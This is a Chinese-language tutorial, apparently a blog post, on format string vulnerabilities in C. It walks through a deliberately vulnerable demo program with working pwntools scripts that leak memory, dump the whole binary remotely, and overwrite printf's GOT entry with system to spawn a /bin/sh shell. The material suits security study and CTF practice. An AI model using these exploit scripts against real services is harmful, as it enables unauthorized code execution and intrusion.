格式化字符串中危害最大的两点,一是leak memory,二是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存的任意读写。
0x 1 Leak Memory
先对一个简单的Demo进行研究:
1 2 3 4 5 6 7 8 9 10 11
| #include<stdio.h> int main(int argc, char * argv[]) { char a[1024]; memset(a, '\0', 1024); read(0, a, 1024); printf(a); return 0; } // $ gcc test.c -o test -m32 // $ socat TCP-LISTEN:5555,fork EXEC:./test
|
假设我们不知道该程序的原码,连bin都没有,只是能访问这样的一个应用:

在这种情况下,就是去尝试各种漏洞的攻击方法,比如栈溢出漏洞就是输入一堆字符,比如100*a,而格式化字符串漏洞是使用“%x”这类格式化字符串去尝试,比如:

得到了这样的返回就说明该程序存在格式化字符串漏洞,因为没有源码或bin,并不知道要往哪里写数据,所以我们可以先leak memory,获取程序的源码
leak memory利用到的是%s格式化字符,它的作用是输出对应参数指向地址的值,也就是说它对应的参数是一个指针,而我们可以得到该指针对应的内存数据
我们还可以继续改进该格式化字符串,%2$s,它表示的意义是输出第二个参数指向的内存的值。
那么我们怎么通过上面的格式化字符串获取我们想要的内存地址呢?这就涉及到第三个知识点。
格式化字符串漏洞是怎么产生的?首先要有一个函数,比如read,比如gets获取用户输入的数据存储到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值。
其中局部变量是储存在栈中的,而且是存储在栈的高位地址上,这里具体的细节可以去读读汇编代码,简单的说,进入到一个函数中后,会sub rsp,xxx一段局部变量的栈空间,然后函数的参数啥的都是push到局部变量的栈空间之上。
理解了上述的知识点后,我们可以输入想leak数据的内存地址,然后爆破出我们输入数据的位置,不就能leak相应地址的内存数据了么。
比如我们输入AAAA%2$x,如果输出AAAA十六进制数,则说明第二个参数为我们输入的数据的起始位置。

这样我们得到的payload:addr+%7$x,返回值为addr指向的内存的字符串,知道\0为止。
这里我们可以进行测试下(我们现在是处于研究状态,虽然假想没bin,但实际我们是有的,所以可以进行测试来证明我们的结论)
$ objdump -d test -M intel

从上面的测试代码中可以证明上述所讲的结论,我们成功leak出相应内存的数据(知道\x00为止)
上面爆破出来的7我们成为offset,pwntools有自动化代码可以计算出offset:
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * #context.log_level = 'debug' def getoffset(payload): p = process("./test") p.sendline(payload) info = p.recv() p.close() return info autofmt = FmtStr(getoffset) print autofmt.offset
|

测试完了,现在又恢复到没有bin状态,有了前面的基础,要dump出整个bin就很容易了。
在Linux下,不开启PIE保护时,32位的PIE的默认值首地址为0x8048000,如果开启了PIE保护,则需要根据ELF的魔术头7f 45 4c 46进行爆破,内存地址一页一页的往前翻知道翻到ELF的魔术头为止:
测试的代码如下:
1 2 3 4 5 6
| from pwn import * context.log_level = 'debug' p = remote("127.0.0.1",5555) p.send("%10$saaaaaaa" + p32(0x8048000)) print p.recv()
|
可以成功dump数据了:

原理都懂了,可以写payload去dump整个bin回来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * #context.log_level = 'debug' f = open("source.bin", "ab+") begin = 0x8048000 offset = 0 while True: addr = begin + offset p = process("./test") p.sendline("%10$saaaaaaa" + p32(addr)) try: info = p.recvuntil("aaaaaaa")[:-7] except EOFError: print offset break info += "\x00" p.close() offset += len(info) f.write(info) f.flush() f.close()
|
内存dump下来后,虽然跟原始bin有很大不同,也运行不了,但是丢到IDA中任然是可以看到的:

0x2 Write
二进制漏洞的最终目的都是要getshell,所以在我们获取bin后,接下来就是要getshell了
不过之前的demo过于简单,没有什么好的getshell的方法,对demo进行下修改。
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> int main(int argc, char * argv[]) { char a[1024]; while(1) { memset(a, '\0', 1024); read(0, a, 1024); printf(a); fflush(stdout); } return 0; }
|
和之前的demo比,多了循环,不像之前一样一下就退出了。
在这样情况下,我们可以很容易只依靠格式化字符串漏洞进行攻击,利用的逻辑很简单,根据之前的知识点,leak出bin,然后获取到printf函数的got表地址,然后把这个地址的值改为system函数的地址,在下次循环的时候,输入/bin/sh,则printf(a);实际执行的却是system('/bin/sh')。
利用过程中,第一个知识点:dump没存的数据,也就是上面的内容,得到bin后,可以很容易的获取到got表信息,
接下来第二个知识点就是获取system函数的地址,不过却需要爆破跑,每次首先获取printf和system函数之间的差值估测一个大概范围进行爆破,得到的数据和system函数中的一些特征数据变化对比,判断是否是system函数。
最后一步就是通过格式化字符串内容进行写内存了,覆盖got表中的值:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context.log_level = 'debug' printf_got = 0x804a010 system_add = 0xaaaaaaaa def exec_fmt(payload): p.sendline(payload) return p.recv() p=process("./test2") #p = remote("127.0.0.1", 10001) autofmt = FmtStr(exec_fmt) payload = fmtstr_payload(autofmt.offset, {printf_got: system_add}) print payload
|
上述代码中autofmt = FmtStr(exec_fmt)这行的内容之前都提到过,接下来就是fmtstr_payload()函数,这个函数的作用是用来生成格式化字符串漏洞写内存的的payload。第一个参数为offset偏移,第二个参数是一个字典,意义是往key的地址写入value的值,也就是往0x804a010地址写入数据0xaaaaaaaa。我们可以看下输出的payload:

最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * #context.log_level = 'debug' #p = remote("127.0.0.1", 10001) p=process("./test2") # get printf libc addr printf_got = 0x0804a010 leak_payload = "bb%9$saa" + p32(printf_got) p.sendline(leak_payload) p.recvuntil("bb") info = p.recvuntil("aa")[:-2] print info.encode('hex') # get system libc addr print_addr = u32(info[:4]) print "print_addr:"+hex(print_addr) #p_s_offset = 53479 # addr(printf) - addr(system) printf_offset=0x4D280 system_offset=0x40190 system_addr = print_addr - printf_offset + system_offset print "systen_addr:"+hex(system_addr) # get payload payload = fmtstr_payload(7, {printf_got: system_addr}) # send payload p.sendline(payload) p.sendline('/bin/sh') p.interactive()
|
